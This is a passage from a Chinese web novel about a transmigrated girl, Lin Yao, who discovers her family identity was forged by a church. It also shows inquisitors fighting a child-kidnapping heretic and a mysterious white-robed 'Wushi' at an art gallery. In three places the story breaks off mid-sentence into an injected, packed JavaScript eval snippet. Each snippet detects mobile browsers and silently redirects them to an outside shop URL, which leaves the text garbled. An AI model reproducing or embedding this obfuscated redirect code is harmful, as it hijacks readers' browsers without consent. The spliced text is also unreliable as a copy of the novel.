但最让林瑶恐惧的是——她为什么没有发觉? 明明自己能够通过课本的不同察觉到原主是个毫无力量的普通人,那为什么,她会没有发现这个明显得完全是摆在台面上的破绽? 很突然的,林瑶想起了周围无人看见艾遥并视其为空气的一幕。 倘若……并不是自己没有探查,而是探查过后又被人修改了认知再次遗忘掉了呢? 一股深入骨髓的冰冷寒意从脚底板直窜后脑,在体内徐徐蔓延开来,冷得她本能地抬手抱紧自己,急促地喘息,瞳孔震颤。 “……不是你想的认知修改,是淡化此事的存在感,令你忽略掉它不要深思。”艾遥看她反应这么大,立刻生出后悔之心,不禁暗骂自己不懂委婉,等骂完赶紧安慰对方,“他们不会对你做得太过分的。” 可惜效果不佳。 “今日能够淡化我的记忆,明日呢?”林瑶此时已然冷静下来,身子不再颤抖。 她放下双手,闭了闭眼,重新睁开时又变回往日的平淡。 “艾遥,你认识舅舅很久了对吧?你见过他的妹妹吗?”林瑶强迫自己去思考,去琢磨,去脑海深处挖掘所有过往忽视的疑点,“我们第一次见面的时候你就对我的脸表露出了惊讶,是不是你以前在哪里见过跟我相似的人呢?” 实际上这句话她是想问:你以前有没有见过本世界被她取代的那位“林瑶”? 由于涉及到了穿越,林瑶不敢明说,意思便有些隐晦,好在艾遥足够聪明听懂了潜台词。 “没有。”他笃定地回答,“我从未见过林溪晗的妹妹及其他家人。” “至于那天的惊讶……抱歉,我暂时不想说。” “好。”既然对方不愿意说,林瑶也不打算追着人逼问。 她只是疲惫地阖眼,终于想明白了某些事。 下属罗丽娅、洛克主教、贝娜老师,他们都知道舅舅有个外甥女,与舅舅相识已久的艾遥却表示从未见过他的家人。 艾遥显然早就脱离了教会,而罗丽娅他们都是教会高层,且听令于舅舅,那会帮舅舅欺骗隐瞒她也属正常,再加上是教会把她从她的世界召唤过来的…… 因此经过综合分析,得出来的结论十分简单—— 这个世界压根就不存在“林瑶”这个人,所谓的外甥女不过是为了让她在这里合法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149787|147691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 居住而特意伪造的假身份罢了。 哈哈,真是大费周章,她都要为此深感荣幸,受宠若惊到惶恐不已了呢。 “嗯……家长会应该快结束了吧?我先去找舅舅,咱们明天上学再聊。”撑着膝盖弯腰站起,清秀美丽的少女回过头对一旁的小少年笑了笑,然后轻声呼唤他的名字,“艾遥。” 她歪过脑袋,几缕柔顺的青丝滑落,那抹如溪流般清澈甜美的笑容随之映入他眼中,恍若微风拂过水面,沉静的心湖泛起了圈圈涟漪。 林瑶略微俯身,极其认真地注视着对方,说出的每一个字都饱含了无以言表的郑重之情。 “谢谢你愿意告诉我真相。” ***** 收拾好外甥女桌面上的东西,林溪晗随着人流闲庭信致般地缓步走出教学楼。 刚出去,他就瞅见自家孩子背对着自己蹲在花丛旁拿手机给康乃馨拍照的纤细背影。 林溪晗笑了笑,悠悠走到女孩身旁跟着蹲下,温柔地呼喊:“小瑶。” “我们可以回家了哦,你肚子饿了吗?” “等一等,舅舅,我想先照相。”镜头对准鲜花连续按几下快门,成功收获几张美照的林瑶心满意足地站起来,转头对着身边人举起手机笑,“舅舅,咱俩也拍一张吧?就当纪念第一次家长会。” “……”林溪晗静静地凝视着一脸言笑晏晏的可爱外甥女,不知在想些什么,沉默片刻,可最终仍是纵容地答应了,“好。” 他们没换场地,就站在原来的花丛边拍照。 咔嚓一声,小小的镜框里映出了两人心思各异的微笑。 林瑶十分满意地收起手机,随后笑着望向对方,轻快的语气令人听不出异常:“等我把照片打印出来就放进咱们家的相册。” “对啦,舅舅,你之前跟妈妈拍的那些相片呢?交给我一起收进去吧,省得不小心弄丢了。” “抱歉呀,小瑶。”明明是相当合理的请求,谁知这位对自己的外甥女一向是有求必应的十佳好舅舅今日竟然拒绝了她,着实令人出乎意料。 “我不太喜欢拍照,先前的东西也没有特地保存,毕竟我没想到后来琳会……所以对不起,小瑶,我现在恐怕没法拿出照片给你。”林溪晗的眼里充满了歉意地柔声向她道歉。 “不过我们可以从今天起制造新的回忆。” 没有保存?意思不就是丢了吗? 一个疼爱外甥女的舅舅能对自己妹妹差到哪去?结果连妹妹的遗物都会丢掉……呵,这是自知已经瞒不下去了索性摊牌吗? “这样啊,好吧。”林瑶故作遗憾地叹道,“本来想一家人放一起的……” 林溪晗安慰般地揉揉她脑袋。 “那我们去自助餐厅吃饭吧,舅舅,我饿了。” “好,都听你的。” 于是所有的试探与刀光剑影都重新藏在了看似平稳无痕的蔚蓝湖面下,他们互相挽着彼此微笑关心,尽情享受着“天伦之乐”。 然而在林瑶看不见的角度,有一个位于阴暗处的人将这一切都收归进了眼底。 “……” 戴着黑框眼镜的妹妹头少女安安静静地站在教学楼的大门口,四周皆是搂着父母胳膊欢笑离开的同班同学,唯有她独自一人孤身游荡,显得很是可怜。 欧阳晨曦定定注视着那边友好相处的舅甥俩,看儒雅青年将手搭在女孩头顶轻轻抚摸,看他温声细语地安慰伤心的女孩,看他露出从未在谁面前显露出的真心笑意。 “那个女生是谁?”她盯着两人离去的背影,神情依然沉稳,只淡然问,“林溪晗竟对她如此亲近。” 很快的,三皇女又张开嘴,口中居然吐出了另外一道明显不属于她自己声线的清脆悦耳的嗓音:“我记得是叫林瑶,隔壁班新来的转校生。” “转校生?圣拜纳迦什么时候会有转校生了?”这回又变成了醇厚低沉的男中音,“贝纳奇那个怪物竟然会同意?” “有新的食物上餐桌他为何不同意?而且,如果是林溪晗下的命令,也由不得他抗拒。”苍老沙哑的声音缓慢响起。 “林溪晗这般行为定是秉承教宗旨意的,那位的想法谁能猜到?” “说起来……圣子自两年前掀起反旗失败后便再也没现身过,或许是被教宗秘密处置掉了,咳,那么这个叫林瑶的女孩很有可能就是——” “教宗选定的下一任圣女了。”另一道更加温婉柔和的女音贴心地补充道。 “咳,咳咳,正是。”在剧烈的咳嗽结束后,带着丝丝沙哑的男中音再次问起,“我们要不要尝试着接触拉拢她?圣女的身份必然比那些疯狂扭曲的异端用处更大,更能帮助到父皇他们。” “可是有林溪晗在旁边盯着要怎么接触?更何况她是否乐意协助我们尚无定论,最好别抱太多希望。” “……”众音蓦然沉寂,不再言语。 此刻的楼梯间人来人往,帝国的皇太女立于拥挤的人群,却是无人关注,宛若一团透明的空气,一如他们在神灵眼中的模样。 半晌。 似乎是回想起了前段时间在洗手间的会面,欧阳晨曦抬手一推镜框,忽然开口:“未必。” 记忆中,不小心撞到自己差点摔在地上的漂亮女孩可怜兮兮地仰头向她道歉,柔弱得仿佛微风一吹就会被刮跑的花,瞧着便惹人怜爱。 “事情的发展,也许会比我们预料的还要顺利。”收回远眺的目光,欧阳晨曦转身走回教学楼,蔓延而上的黑暗逐渐吞没了她纤长的身影,只留下一句轻飘冷淡的吩咐。 “准备传讯吧,我们的希望终于出现了。” 31.追击 夜黑风高,一轮弯月悬于天际,银白的月光投落人间,照亮了旅人前行的道路。 宽阔无边的道路两旁是高矮不平的建筑群,此刻夜幕降临,也为它们披上了一层浓厚的黑纱。 万物陷入寂静的睡眠,呼吸浅浅,正枕着枕头做一个甜蜜美妙的好梦。 然而在这份静谧安然的氛围中,却有人悠然悠哉地行走于路中央,视黑夜无睹。 他穿着一身雪白长袍,柔软衣袍上绣有金绿相间的精致花纹,恍若枝叶,令人不自觉地联想到生机勃勃的春天,垂落的兜帽遮盖住了双眼,只露出高挺的鼻梁与形状优美的下颌线。 男子的身形修长挺拔,流露的气质优雅高贵,那种从内到外徐徐散发出的很不一般的味道,显然他曾是手握权利习惯掌管凡人生死的上位者,只是如今稍微有些落魄,不得不将自己隐藏起来。 他走着走着,忽然驻足在一家装修得古色古香的艺术馆前。 这座艺术馆的参观时间早已过去,大门紧闭谢绝来客,白袍人却像没看见一样,如透明的幽灵般径直穿越门锁进入馆内。 恰逢艺术馆正在举办某位知名画家的画展,一幅幅华丽精美的画作被保护着悬挂于墙壁上,有阴森诡异的风景图,也有温馨动人的家庭聚餐图。 他停留在那张家庭聚餐图前,仰头望着画中一家人开心享用晚餐的笑容,视线的焦点却定格于孩子的父母亲共同捧起递到嘴边笑着准备咬下的红苹果上。 原本盛放苹果的银盘里,躺着一条鳞片泛着幽光口吐信子的蛇。 “……”白袍青年盯着这幅画看了很久很久,久到若是现场有人在一定会以为他要变成一座雕塑陪伴时又突然伸手触碰着画上的那颗深红色苹果。 他的动作放得极轻极柔,好似在透过这层薄薄的画纸,去抚摸一位内心勾勒许久的怀念的故人。 可惜馆外骤然响起的爆炸声打断了他的回忆。 先是玻璃破碎,紧接着是房屋坍塌,一道道漆黑的阴影快速掠过,踩着废墟的砖瓦追上了前方逃亡的罪人。 寒风呼啸直冲对方而去,却在即将斩断脖颈时蓦然拐弯撞向了一旁建筑,顷刻间又是一栋矮小房屋轰然倒塌。 室内受攻击无辜被牵连的普通人顿时骂骂咧咧,但很快意识到什么又立刻沉寂下来不再出声打扰。 白袍青年这才慢吞吞地走出艺术馆,站在路边围观今夜的闹剧。 逃在最前面的是一团看不清面目的混浊迷雾,手中还拎着个哭闹不休拼命挣扎的八岁男孩,明显是一名挟持幼儿做人质的犯罪者或者专门拐卖儿童的可恶的人贩子。 追在后方的五个人皆是身穿黑色长袍,宽大的兜帽掩盖了样貌,袍面上的银白丝线绘制成张开羽翼的审判之剑,耀眼的火焰缠绕着图腾静静燃烧。 这是属于裁判所的标志,是教会豢养的对造物主最忠诚的猎犬——每当他们现身就意味着今晚会是一个血腥之夜,出鞘的长刀若不斩杀完主的全部敌人便永不归鞘。 废墟中的残垣断壁化作通天巨蟒堵住整条街道,张开血盆大口朝着罪犯吐出深紫色的毒雾,雾气弥漫之地皆为生机断绝的死地,同时莹白的屏障缓缓升起守护着每一栋建筑物。 可就在毒雾触碰到那人衣角的前一刻又变成了翩翩起舞的脆弱无害的彩色凤尾蝶。 蝴蝶四散,转而扑向背后紧追不舍的五人,扇动蝶翼间,一股甜腻的香气也包围住了他们。 其中一位实力不够强大的裁判所成员立即陷入到了虚幻的梦境,脚步发软差点摔倒,所幸身旁的伙伴发现及时,直接一巴掌把他给抽清醒以免人醉死在桃源仙境里。 来不及低声道谢,铺天盖地的雷击冰雹就从天而降直劈他们脑门,情急之下有人虚化自身躲开汹涌浪潮,另有人不退反进一个瞬移挡在异端身前拔剑刺入对方要害。 危急时刻迷雾果断飘散开来消失在空中,虽成功躲掉剑击却放开了手里原本紧抓的孩子。 害怕得哇哇大哭的幼童落进了某位裁判所人员的怀抱里,但没等她温柔安慰,那张稚嫩可爱的脸蛋上倏地露出一副诡谲笑容,娇软的身躯随之炸开,飞溅的碎片如烟花般璀璨。 “嘁。”早在孩童爆炸的前一秒就察觉到是陷阱迅速逃离的女成员狠狠地啐了一口,脸色阴沉地看向不远处重新汇聚身形抓着真正男孩的该死可恨的异端,“卑鄙的家伙。” “你跟异端谈什么正大光明?”同伴落在她身侧,神情淡淡,“快点解决,刚刚基努尔那边传来讯息说已经有十个孩子被捉了。” “我知道。”她开始调动体内的力量,脑子里幻想着敌人的死法,“队长呢?” “在半路上了。” 不知是不是预感到强敌来袭,迷雾不再浪费时间与他们纠缠,干脆打开空间欲将孩子扔进去传送走。 裁判所的人见状急了,赶紧冲向对面想尽办法试图阻拦,却反遭化解,眼看异端将要离开,有人即刻做出决定厉声下令:“杀掉那个孩子!” 同行的伙伴毫不犹豫地选择执行,于是锐利的风刃没再阻止异端离去,反而调转方向斩断了幼童细弱的脖颈。 骨碌碌。 小小的头颅啪嗒一声掉在地上随着惯性滚远,充盈着清透泪水的眼眸里,恐惧与惊慌永远定格。 ——他再也无法长大了。 见选中的祭品被裁判所的杂碎毁掉,迷雾恶狠狠地啧声,随手丢掉无用的躯壳,不等他们反应过来自己就飞快跳进了传送门预备逃离。 下一秒。 一股难以言喻的恐怖重压陡然降临,强行打碎空间死死地压上了他的肩膀,将那团白雾实体化后不容反抗地直接压趴在地。 “队长!”认出来者身份的教会成员纷纷放松警惕惊喜地呼喊。 “哟。”弯腰拎起被迫变小的雾团子,娇小玲珑的可爱女孩笑着向他们举手打招呼。 浓重的乌云飘远,将遮挡的月亮还给世间,月光再度洒落,照亮了来人精致的容颜。 倘若林瑶在此,绝对能认出她是谁。 林溪晗最看重的得力助手,教会的高层,裁判所的第一支队队长——罗丽娅。 【&?£??Θ……】被她拎在手上疯狂摇晃自身的雾团子破口大骂,可惜吐出的话谁都听不懂,感觉像一串未知的乱码。 慢慢聚集过来的队员们面面相觑,他说的啥? “应该是旧时代的语言吧,我听前辈说异端都不屑于使用主创造的语言,三千多年过去了他们的习性依旧保持不变。”将分散的孩子捡起抱在怀中的女性成员解释道,“不过具体内容只有咱们的几位高层能够听明白。” “那队长你知道他说什么吗?”有人听了转头询问一旁正给异端封嘴的小女孩。 “知道啊。”封印完敌人的罗丽娅抬起脑袋笑吟吟地看他一眼,语气轻快,“他在骂我们是一群被驯化的走狗。” “果然是寡廉鲜耻的异端。”对方冷哼,“根本不能指望那群脑子短路的混蛋理解我们的信仰。” 她笑而不语,没有接这句话。 “不聊啦,先把孩子还给人家妈妈再说吧。”抱着娃娃的那人扭头望向遥远街道的另一端,其他人跟着看过去。 只见一位失去儿子的可怜母亲蹒跚前行,哪怕明知自己是以卵击石自不量力,依然泪眼婆娑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14157530|147691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地循着异端的踪迹从家中追了出来。 当她发现裁判所的人居然也在,甚至还抱着自家孩子时,遍布泪痕的脸骤然绽放出欣喜若狂的笑容,连忙加快脚步忍着疼痛跑到他们面前。 然而她看见的——却是尸骨断裂的儿子。 女人脸上的那种喜悦霎时僵住。 “对不起呀,阿姨。”之前亲手杀死男孩的成员面露愧疚地道歉,“因为当时异端就要带走他了,赶不及救下,所以与其让异端把令郎献祭给古神,倒不如由我们杀了他。” “至少这样做主还能让他的灵魂回到您身边。” “是啊,要实在介意,大不了您生二胎嘛。”站在身旁的另外一人完全不觉得这是一个问题,满不在乎地提意见。 旁边的女队友默不作声地狠踩他一脚。 “谢谢你们。”这位母亲小心翼翼地搂着对方还回来的儿子,然后抹着眼泪哽咽道谢,“没关系,我知道你们尽力了,阿姨不会怪罪你们的。” “至于小锋的事……我暂时还不太想要二胎,刚好家里有针线,我先把小锋的脖子缝起来,等明天教堂开门了再去找神官帮忙。” “那我们送您回家吧,毕竟天色挺晚的了,路上不安全,咱也不放心。” “好,麻烦你们啦,这么晚还要加班送我回去。” “嘿嘿,没事,为人民服务嘛。” 罗丽娅背着双手微笑地瞧他们吵吵闹闹地围拢着那对母子,自己却一动不动,似乎没有陪同的打算。 “队长?”有敏感的人注意到这点,“您不跟我们回教会吗?” “我还有点事要处理,你们先回去写报告,记得明早八点半前交给我,我要汇总上报的。” “收到!那您忙吧,我们就不耽误您的正事了。” 目送跳脱的几位下属护送平民离开,罗丽娅这才收敛笑容,平静地转向远处那幢侥幸没被战斗波及毁灭的艺术馆。 “出来。” 伴随着她话音落下,原先在旁观、隐藏得很好的身影一点一点浮现,最终彻底暴露。 “……是你?”见到那件奇特白袍的瞬间就知晓对方是谁的罗丽娅不由得露出惊讶的表情,“你不好好守着旧圣殿跑来凡间做什么?无聊了?” “巫侍。” 被人称作“巫侍”的青年男子浅淡一笑,声音听着格外平和:【好久不见,罗丽娅。】 “确实,自造物主开创新时代起我们就没再见过面了吧?”女孩认真仔细地打量着他,“所以?三千多年都不肯露面的家伙有何贵干呀?” 结果对方避开了她的质询,不答反问:【你现在还喜欢洋娃娃吗?】 “……与你无关。”罗丽娅的面色刹那间阴沉下来,淡漠地盯着男人,冷冷出声,“回答我,你今日究竟是来干什么的?” 【……】收到朋友如此毫不留情的严厉回复,青年莫名其妙地沉默了一会。 片刻。 他终于开口,语调缓慢且轻柔,像是在斟酌每一句用词是否妥当。 【我听说……她已经醒了。】男人垂下眼帘,声线压得越来越轻,【我想去看看她。】 “为何突然要去看她?”罗丽娅更加警惕,忍不住绷紧肌肉随时准备动手将对方拿下,“你该不会是想趁机杀掉她吧?” “警告你,敢那么做你就完蛋了,教宗不会允许你去接触她的。” 【你误会了,罗丽娅,我真的什么都不会做,即便我很想。】巫侍的语气变得愈发冷淡,被遮挡的眼神却透露出一种奇怪的复杂。 他近乎无声地呢喃。 【因为那是吾主最后的心愿。】 32.疑惑 周六早上七点半。 刚在公园晨跑三公里回来的林瑶脖子上搭着一条被汗浸湿的花毛巾,微微喘着气开门进屋。 等平复好呼吸她就去卧室拿了件新衣服进浴室冲热水澡,洗完澡再把脏衣服丢入洗衣机摁下开关,等待衣服洗干净的途中又去厨房做早餐。 打开冰箱拿出昨晚在面包店买的肉松蛋糕,撕开牛奶包装倒进锅里加热,当然,一勺甜甜的蜂蜜是必不可少的绝佳配料。 等牛奶煮得差不多了林瑶就关火倒入玻璃杯,然后一手端着牛奶一手捧着蛋糕,嘴里哼着小调,脚下踩着轻快的节拍进客厅,把东西全都放在了茶几上再从沙发缝隙里找到遥控器对准电视机一按。 啪的一声,屏幕亮起,正好是柠檬台早间新闻的播报时间。 林瑶坐在沙发上,一边嚼着蛋糕喝牛奶一边关注今日的新闻内容,看有没有什么大事发生。 整个屋子除了少女再无别人。 自从前几日林溪晗十分坦诚地向她摊牌后,她就随便找了个借口搬回贝克斯独居,靠着传送门上下学也挺方便,日常更是不受拘束,自己想干嘛便干嘛,完全不用看谁的脸色活,小日子过得美滋滋的。 ……虽然舅舅不反对,还是那副纵容顺从的模样,但我依旧摆脱不了使者和白鸽的共同监视啊。 目光向下,一黑一白的两只小鸟正收拢翅膀安心地蹲在茶几上跟着她一起看新闻,时不时低头啄一口碗里女孩特意给它们准备的清水。 林瑶收回视线,缓缓地呼出一口长气。 算了。 不想计较这些细枝末节的少女重新把注意力投向电视上的新闻主播。 “昨夜凌晨三点四十二分,晋城有异端现身袭击平民并拐走一个八岁男孩,经过裁判所成员的一番艰苦奋战后成功将其夺回……” “目前全国已发生十例异端诱拐儿童事件,经详细调查,裁判所发现异端即将再次举行大型献祭意图复活古神,请各位有小孩的家长近日不要带着孩子外出游玩,若发现疑似异端者请及时向教会举报,教会的举报热线电话是……” “现在播报下一则新闻,关于食品安全问题,埃尔兰帝国的相关部门发言人表示……” 恩? 看见异端袭击平民诱拐小孩的新闻,林瑶举起杯子递到嘴边的动作骤然停顿,但很快又恢复正常往前倾身放好水杯,眉头紧蹙。 居然拿小孩子做祭品献给古神,果然是群疯狂的混账,不跟他们打交道是正确的,谁知道他们最后会不会反手把她也献祭出去?本来被教会盯上了就烦。 滴滴。 摆在台面上的手机突然响起一声提示音,林瑶懒得动弹便勾勾手指头让它飞过来,垂眸一瞅,原是欣悦的信息。 【下午两点我爸有个画展,就在晋城的艺术馆,小瑶你要不要和我一起去?我请你吃猪脚饭,晋城有家猪脚饭超级好吃!】 ……参观画展?我这种粗人能品鉴出啥来呀? 不过下午也没什么事做,林瑶想想还是答应了。 【好呀,到时候两点晋城艺术馆见。】 回完消息她就关掉屏幕把手机随意扔至一旁,抬眸瞥向前方,电视刚播完新闻正在插播广告。 “没事吧?没事吧?你没事吧?”* “没事你就吃溜溜~溜溜糕~”* 花花绿绿的广告画面里,一位年轻漂亮的女明星手中捏着一块糕点面对电视机前的消费者微笑展示。 那块糕点恍若一朵盛放的艳丽梅花,浅淡的粉晶莹剔透,雕刻的花蕊金光灿烂,整体捏着感觉软软糯糯的,一眼看过去就能让人食欲大增。 “唔,瞧着倒是挺好吃的样子。”林瑶看完随口评价一句便拿起遥控器把它关了,起身走进浴室把洗好的衣服晾到了阳台上。 ***** 下午两点钟,美丽的晋城。 林瑶准时出现在了艺术馆的门前,朋友早就已经等在那里了。 一见她来,柳欣悦立刻开开心心地小跑到她面前直接给好姐妹一个大大的拥抱:“小瑶!” “我好高兴你能来参加我爸爸初次举办的画展!” “谢谢你的邀请。”像是被朋友的喜悦感染了,林瑶也笑着拍拍她后背,“没想到叔叔是画家,难怪你美术课总能拿满分。” “我都要羡慕你啦~有这么厉害的爸爸。” “嘿嘿,其实也就那样吧。”柳欣悦松开她笑嘻嘻地伸指擦了擦自己的鼻尖,紧接着又牵住她的手兴冲冲地拉着人往馆内跑,“走!我先带你去找我老爸,他听说我交了新朋友后就一直很想认识你呢!” “哎?”太突然了吧? 林瑶没来得及委婉拒绝就被急性子的好友带到了馆角落的一条幽深画廊。 悬挂着一幅幅画作的墙壁旁,她看见许多西装革履的大人围着最中间的一名男性,宛如层层叠叠的花瓣,却是整齐有序不显拥挤。 他们互相低声交谈,偶尔抬头欣赏一下墙上的名画并述说自己的理解,看起来特别专业,搞得林瑶都不好意思凑近了。 不过人家找自己的父亲就没什么不好意思的。 那些成熟稳重的商务精英见到两个小女孩乖乖等在外围不敢打扰,猜出其身份的众人莞尔一笑,各自找理由散开,给这对父女腾出一谈话的空间。 “悦悦。”柳欣悦的父亲身材稍显瘦弱,肩膀并不算宽阔,金黄的发丝卷曲,高挺的鼻梁上架着一副黑框眼镜,秀气且文雅,尤其是抿嘴微笑时带有的一点腼腆相当令人心动。 他温柔地呼唤自家女儿,待得到她愉快的回应后又望向旁边的林瑶,弯眸一笑,语气格外温和:“你就是悦悦新交的朋友林同学吧?你不知道,她在家经常跟我们谈起你呢,夸你不仅聪明还努力,是个非常优秀的女孩子……” 说到一半,男人忍不住从兜里拿出手帕捂着嘴扭过头重重咳嗽。 “咳,咳,咳咳咳!” “哎呀您过奖了,其实我并不优秀,如果没有欣悦帮忙的话,我绝对不可能那么快速地融入到校园生活中,所以该是我感谢夸赞欣悦才对。”林瑶谦虚地说道,发现对方咳得实在太厉害,眼底不禁流露一丝担忧,“叔叔您还好吗?” “是啊。”柳欣悦挽着闺蜜的胳膊,那张可爱的脸蛋上也露出了忧心忡忡的表情,“爸爸你都咳了两三天啦,我说要去医院你还不肯。” “病情要是再拖下去会变得更加严重的!” “咳……谢谢你们的关心……咳咳……但我没事,你们就放心吧。”柳博又咳了几声,紧紧皱着眉头,明眼人都能看出他的情况很糟糕,却依然强撑着安慰急得快要掉眼泪的乖女儿,“唉,爸爸是真没事,别哭呀悦悦,难得林同学过来玩,你不好好招待朋友反而在这哭鼻子让人家怎么办?” 林瑶连忙开口,紧张地直摆手:“没关系的!我可以自己到处乱逛,不管我也没啥,叔叔你还是赶紧去找医生看看吧,别耽误了治疗!” 对方失笑,无奈地摇了摇头,正想说点什么又恰巧碰见有人找,只能改口:“叔叔还有些工作上的事要忙,你俩就先自己去玩吧,今天的花销我全包了。” “再见。”话音刚落他就被急匆匆赶过来的助理给拉走了,作为画展的主人忙得简直不可开交。 林瑶倒是松了口气,毕竟身为一个社恐的她怎么可能会喜欢社交啊?尤其对面是一位不熟悉的长辈。 不过终归是好朋友的父亲,她挠着头想想还是关心一句:“叔叔身体不太好吗?我看他一直在咳嗽。” “这种情况下去医院做个检查会比较稳妥吧?工作可以延后处理嘛,相信大家都能够谅解的。” “不是,他前三天才开始咳,说是上火啥的……可妈妈这几天做的明明都是清淡菜,又煮了几次凉茶喝也没见有效果,他就不管了,非要继续办画展,谁来劝都不听。” 柳欣悦讲到这不由叹气,显然很苦恼该如何劝说自家那位异常顽固的老父亲。 前三天……不就是家长会结束的第二天吗? 林瑶下意识蹙眉。 或许是自己遭遇过的“巧合”太多,导致大脑专门培养出了一种针对谎言的敏感直觉,她一听完欣悦的发言就本能地怀疑这其中有问题,特别是发生在自己身边的事,更要谨慎才行。 能在圣拜纳迦读书的绝对不是普通人,家里都与教会有关系,肯定会有认识舅舅的,而舅舅是教会的高层,那天还跟她亲密接触,保不准就有人瞧见了然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209314|147691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动起歪心思想对她下手。 而且欣悦方才讲的话中有一个地方她很在意。 为什么好端端的叔叔会忽然生病?时间卡在家长会后面就算了还死活不愿意去医院……他究竟在害怕什么?怕医生揭露真相吗? 加之昨晚异端袭击平民事件就是发生在晋城,而叔叔的画展也是在晋城举行(甚至坚持要办),你说两者之间没有任何关联谁信啊? 但没有证据,也有可能是自己的判断错误。 想了想,林瑶便转过身试探地询问朋友:“欣悦,你最近有没有觉得叔叔哪里不太对劲啊?” “……不对劲?”柳欣悦有些迷迷糊糊地瞧着她,完全不理解闺蜜为啥会突然问这种问题,“没有呀,我爸除了咳嗽,其他地方都好着呢,跟以前一模一样。” “哦哦,是嘛,那是我搞错了,抱歉。”林瑶嘴上是这么应付,心底却仍旧保留怀疑,打算待会找机会测试一下。 无论如何,倘若真有人假扮取代柳叔叔,她一定不会放过对方,非得给他一个教训不可。 “不谈那些烦心事啦,反正等艺术馆闭馆了我就强行拉着爸爸去找医生,管他乐不乐意。”对于柳欣悦而言这并非大事,因此她很快就抛开了烦恼转而兴致勃勃地向朋友介绍墙上悬挂的每一幅名画。 可惜林瑶听不懂,只能全程保持一副“哦对对对你说的都对”的微笑脸,偶尔在对方需要回应时就配合地拍拍手赞美画得棒。 ……真是一件超累人的活计,看来拍马屁也不是那么简单的,以后我出社会工作了是不是还要捧老板的臭脚? 不要啊!那种糟糕的事情光是想想都绝望! 好不容易挨到欣悦讲累了去上厕所,林瑶瞬间蔫了下来,仿佛霜打的茄子般。 不想靠近人群也不想同陌生人进行无用社交的她背过双手独自闲逛,走着走着就走到了无人关注的最角落。 那里只单独展示一幅画,画的内容是一家人聚在一起快快乐乐地享用晚餐。 平凡的餐厅,衣着普通的父亲与母亲共同捧着一颗红苹果笑,孩子坐在旁边举着刀叉欢闹,盛放苹果的银盘上却躺着一条吐信子的蛇,蛇的左侧是种着翠绿果树的盆景。 林瑶不由自主地停下脚步,疑惑地观察这幅图。 男人、女人、绿树、红苹果与毒蛇,加上他们的孩子。 这些经典要素聚集起来就很容易让她联想到《圣经》中的一个著名故事——撒旦化作的蛇在伊甸园蛊惑亚当和夏娃吃掉禁果。 难道异世界也有类似的典故吗?或者又是模仿? 当林瑶感到不解,摸着下巴准备深思时,耳朵却捕捉到有人缓步靠近的细微动静。 刚开始她以为对方是从别处一路逛到这里来的旅游客便没有过多在意,谁知那人就站在自己的身后盯着自己的背影看了许久,连句话都不说,惹得她直皱眉头,随之转身,想瞅瞅是何方神圣。 结果率先映入眼帘的是那张白得近乎反光的脸,俊美绝伦却毫无血色,犹如冬季里诞生的雪精灵,天生自带一股貌似高不可攀的清冷疏离感,第一眼就令人印象深刻。 他有着一头雪白及腰的柔顺长发,穿着绣有金绿花纹的精致白袍,浑身竟然散发着春天般生机勃勃的温暖气息,与他寡淡的神情着实不太相符。 可最吸引林瑶注意的,是他面上双眼处覆盖遮掩的一层白纱……盲人? 盲人来赏画?应该不是真瞎吧? 看他直冲自己而来的样子,教会的人? 林瑶微微眯起眼睛打量着面前这位明显不是常人的漂亮男青年,目光逐渐变得警惕。 然而没等她打招呼,对方就先开口了。 【初次见面。】他淡然一笑,稍显冷漠的语气给人一种他其实并不喜欢少女的感觉,【我是巫侍。】 “巫侍?”林瑶一脸迷茫地重复,“巫侍是你的名字吗?或是有别的象征意义?”不然好奇怪的。 听女孩谈到这个称呼,男人的脸色才柔软一些,嗓音也渐渐温和平缓,多了一点点耐心。 【巫侍啊……巫侍……】 无意识地抬手抚摸喉咙,他低垂着眼轻声解释。 【侍奉巫女之人——即为巫侍。】 33.袭击 “侍奉巫女之人……”谈及侍奉,林瑶自然而然地想到宗教,遂疑惑询问,“你是侍奉主的神官吗?” 【我侍奉的并非这一任巫女。】对方仍然是那副微微透着漠然的平淡神情。 不是这一任,那就是上一任咯? 林瑶敏锐地从他话语中捕捉到关键信息—— 男人未否认巫女指的是主,也就是说……造物主是一名女性?而且还经历过换代。 但一讲到换代,就不可避免地谈论起新旧两个时代的交替更迭。 他是旧时代巫女的追随者,是惨败于主和教会手下的本世界曾经的统治阶层? 不仅如此,林瑶还注意到对方的口型与内容完全对不上号,自己偷偷复述试验过后发现并不是中文发音,两人能顺畅交流应是借助了思维传递能力,他讲的或许是真正属于旧时代的本土语言。 ……那难怪会不喜欢我了,毕竟在他看来我与造物主的关系匪浅,作为战败方,对最终的获胜者能有什么好脸色? 